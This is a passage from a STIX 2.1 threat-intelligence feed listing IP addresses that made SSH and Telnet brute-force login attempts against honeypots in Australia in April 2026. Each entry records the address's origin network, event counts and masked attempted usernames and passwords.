      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KZ. ASN(s): 48716. Organisation(s): PS Internet Company LLP. Usernames observed (masked): a***n, o******i. Passwords observed (masked): a***n, o******i.",
      "id": "indicator--cb72020f-1e9a-4240-9218-af648cda2774",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.247.40.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T09:15:05.000Z",
      "valid_until": "2026-05-19T09:15:02.000Z"
    },
    {
      "created": "2026-04-17T09:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 1221. Organisation(s): Telstra Limited.",
      "id": "indicator--ab0bd71a-b395-4528-ab36-4286e6a99f30",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T09:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.162.205.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T09:15:05.000Z",
      "valid_until": "2026-05-19T09:15:02.000Z"
    },
    {
      "created": "2026-04-17T10:16:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom.",
      "id": "indicator--2cc466a7-8b4f-4e1f-b85c-84c5b1a2730b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T10:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '121.147.220.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T10:16:02.000Z",
      "valid_until": "2026-05-19T10:15:02.000Z"
    },
    {
      "created": "2026-04-17T10:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 107. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t, a***n, d****y, ***, u****u. Passwords observed (masked): 3***********4, F*******!, N******5, ***, q**************@.",
      "id": "indicator--c55d2484-e410-4432-9244-5e0a68a23ec0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T10:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.225.205.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T10:16:02.000Z",
      "valid_until": "2026-05-19T10:15:02.000Z"
    },
    {
      "created": "2026-04-17T10:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 130. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, ***, ***, p******s. Passwords observed (masked): 1******9, 1**********D, 3***********4, 3**********4, 3**********Z.",
      "id": "indicator--a3d2a87d-a402-499c-867e-94f2fcf61492",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T10:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '146.190.109.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T10:16:02.000Z",
      "valid_until": "2026-05-19T10:15:02.000Z"
    },
    {
      "created": "2026-04-17T10:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--b4aafb16-ee19-4705-a2d8-7950a59fb992",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T10:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '199.45.154.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T10:16:02.000Z",
      "valid_until": "2026-05-19T10:15:02.000Z"
    },
    {
      "created": "2026-04-17T10:16:02.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 195. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): a***n, r**t, 3**********4, A***e, ***. Passwords observed (masked): 3***********4, 3**********4, 1******a, N******5, P******d.",
      "id": "indicator--02022375-6e0b-4e5d-92ae-360aae4a95e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T10:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.112.79.178']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T10:16:02.000Z",
      "valid_until": "2026-05-19T10:15:02.000Z"
    },
    {
      "created": "2026-04-17T10:16:02.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 82. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--db222f1c-b8ce-47c9-999a-2de1013c14ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T10:16:02.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '60.23.233.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T10:16:02.000Z",
      "valid_until": "2026-05-19T10:15:02.000Z"
    },
    {
      "created": "2026-04-17T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2d2fef31-e68e-4752-a5b2-34c9c2245078",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '106.40.243.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T11:15:10.000Z",
      "valid_until": "2026-05-19T11:15:08.000Z"
    },
    {
      "created": "2026-04-17T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): 1*******a, a*********@, p**********5, q****9.",
      "id": "indicator--8786bbcf-9853-4d58-8156-e5ae7c0c37a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '14.103.163.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T11:15:10.000Z",
      "valid_until": "2026-05-19T11:15:08.000Z"
    },
    {
      "created": "2026-04-17T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt).",
      "id": "indicator--cd5d2623-6e5e-479d-ad08-ec6411009d8b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.65.148.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T11:15:10.000Z",
      "valid_until": "2026-05-19T11:15:08.000Z"
    },
    {
      "created": "2026-04-17T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--86c00cc5-f2b9-4fbe-856a-ae21df4adc59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.120.41.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T11:15:10.000Z",
      "valid_until": "2026-05-19T11:15:08.000Z"
    },
    {
      "created": "2026-04-17T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--56bf828e-348d-4b65-bc18-6e01f28501e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T11:15:10.000Z",
      "valid_until": "2026-05-19T11:15:08.000Z"
    },
    {
      "created": "2026-04-17T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, s***m, o****e, 3**********4, d****y. Passwords observed (masked): 3***********4, !*******!, *, 1****6, 1*****!.",
      "id": "indicator--ac67f665-8ea4-45f0-9cd4-0d5548b20814",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '219.92.11.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T11:15:10.000Z",
      "valid_until": "2026-05-19T11:15:08.000Z"
    },
    {
      "created": "2026-04-17T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--89db0f0e-d4d8-4479-a606-d368668533b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T11:15:10.000Z",
      "valid_until": "2026-05-19T11:15:08.000Z"
    },
    {
      "created": "2026-04-17T13:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): s****a, t****r, u****u. Passwords observed (masked): s****a, t****r, u****u.",
      "id": "indicator--8af1a12f-abd9-4a5d-95d9-f4b6a764c2bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.35.33.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T13:15:03.000Z",
      "valid_until": "2026-05-19T13:15:01.000Z"
    },
    {
      "created": "2026-04-17T13:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 9. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud. Usernames observed (masked): A*******************p, G************1, U****************************************************************************************************************************6. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--2fb22ffe-9119-4ca0-862e-975cc4d4791d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T13:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.228.53.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T13:15:03.000Z",
      "valid_until": "2026-05-19T13:15:01.000Z"
    },
    {
      "created": "2026-04-17T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398722. Organisation(s): Censys, Inc..",
      "id": "indicator--262788c8-c587-44f9-ac43-46a41d6bfa03",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '199.45.155.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T14:15:05.000Z",
      "valid_until": "2026-05-19T14:15:02.000Z"
    },
    {
      "created": "2026-04-17T14:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 207459. Organisation(s): Teknosos Bilisim Hizmetleri Ve Tic. Ltd. Sti..",
      "id": "indicator--bff712da-62af-42ef-90c3-cd8843c2a088",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.142.150.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T14:15:05.000Z",
      "valid_until": "2026-05-19T14:15:02.000Z"
    },
    {
      "created": "2026-04-17T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 209373. Organisation(s): Swissnet LLC.",
      "id": "indicator--593abc9a-1970-4805-859a-7643cbfd4afe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '31.56.209.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T14:15:05.000Z",
      "valid_until": "2026-05-19T14:15:02.000Z"
    },
    {
      "created": "2026-04-17T14:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 212512. Organisation(s): Detai Prosperous Technologies Limited.",
      "id": "indicator--8f6cb2eb-dcc9-4e11-8ad8-ceab7b9b8c59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T14:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.82.78.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T14:15:05.000Z",
      "valid_until": "2026-05-19T14:15:02.000Z"
    },
    {
      "created": "2026-04-17T15:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet. Usernames observed (masked): r**t. Passwords observed (masked): -*************-, r********6.",
      "id": "indicator--a261c6b4-44c0-4e32-a9a7-45d3f17ede70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T15:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '114.217.10.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T15:15:04.000Z",
      "valid_until": "2026-05-19T15:15:01.000Z"
    },
    {
      "created": "2026-04-17T15:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 140716. Organisation(s): UNICOM JiangSu WuXi IDC network. Usernames observed (masked): r**t. Passwords observed (masked): -**************-.",
      "id": "indicator--8580100f-168f-4ae5-ad10-cf7bd5acfe32",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T15:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.147.39.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T15:15:04.000Z",
      "valid_until": "2026-05-19T15:15:01.000Z"
    },
    {
      "created": "2026-04-17T16:16:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 17451. Organisation(s): BIZNET NETWORKS. Usernames observed (masked): n*****r. Passwords observed (masked): n********3.",
      "id": "indicator--ba2508fc-0e20-4b7a-969f-493a43dfc9c7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.99.80.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T16:16:06.000Z",
      "valid_until": "2026-05-19T16:15:01.000Z"
    },
    {
      "created": "2026-04-17T16:16:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, u****u, 3**********4, d******r, f****e. Passwords observed (masked): ***, 2***@, 3**********4, A********3, A***********!.",
      "id": "indicator--d4b37385-ab66-4447-a7c9-c2c806b708f6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.48.243.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T16:16:06.000Z",
      "valid_until": "2026-05-19T16:15:01.000Z"
    },
    {
      "created": "2026-04-17T16:16:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 55933. Organisation(s): Cloudie Limited. Usernames observed (masked): r**t, s***y, ***, f*****t, u****u. Passwords observed (masked): A******6, D***6, Q******$, Y*******., f***********6.",
      "id": "indicator--1215d9af-fc00-4022-baa6-5a431b8663d7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '185.239.87.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T16:16:06.000Z",
      "valid_until": "2026-05-19T16:15:01.000Z"
    },
    {
      "created": "2026-04-17T16:16:06.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fdd53e06-81ba-4aec-8c99-d0e01f68d2c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T16:16:06.000Z",
      "valid_until": "2026-05-19T16:15:01.000Z"
    },
    {
      "created": "2026-04-17T16:16:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): Q*********4.",
      "id": "indicator--1194eb6e-9178-4ed1-af8e-b1657db0f29a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '220.118.173.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T16:16:06.000Z",
      "valid_until": "2026-05-19T16:15:01.000Z"
    },
    {
      "created": "2026-04-17T16:16:06.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 221. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, u****u, t**t, 3**********4, a***n. Passwords observed (masked): ***, 1******@, 1**4, 1******8, 2***@.",
      "id": "indicator--85ac1220-5148-4505-bcb4-3baf671993b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T16:16:06.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.72.96.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T16:16:06.000Z",
      "valid_until": "2026-05-19T16:15:01.000Z"
    },
    {
      "created": "2026-04-17T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 104. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134420. Organisation(s): Chongqing Telecom. Usernames observed (masked): r**t, f*****r, 3**********4, a**o, o**o. Passwords observed (masked): 1**4, 1****4, 3***********4, 3**********4, A*********0.",
      "id": "indicator--0966d52a-1dd6-4eb3-a1ec-3fe2adb84125",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '113.249.103.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:15:05.000Z",
      "valid_until": "2026-05-19T17:15:02.000Z"
    },
    {
      "created": "2026-04-17T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--f39c46d6-9e8b-4129-aaee-0b07cb29390f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.148.206.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:15:05.000Z",
      "valid_until": "2026-05-19T17:15:02.000Z"
    },
    {
      "created": "2026-04-17T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--29905a51-00b8-44f6-b752-4c22a6e44def",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.29.194.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:15:05.000Z",
      "valid_until": "2026-05-19T17:15:02.000Z"
    },
    {
      "created": "2026-04-17T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--f91d21b7-69bd-4ad9-a260-dd2f0b76dfb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '192.241.144.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:15:05.000Z",
      "valid_until": "2026-05-19T17:15:02.000Z"
    },
    {
      "created": "2026-04-17T17:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b158640e-a57a-401a-8210-9c5a77f366b6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.243']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:15:05.000Z",
      "valid_until": "2026-05-19T17:15:02.000Z"
    },
    {
      "created": "2026-04-17T17:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8e8395d8-6dcb-41c8-b20c-d7c791eea2c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-17T17:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '59.103.106.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
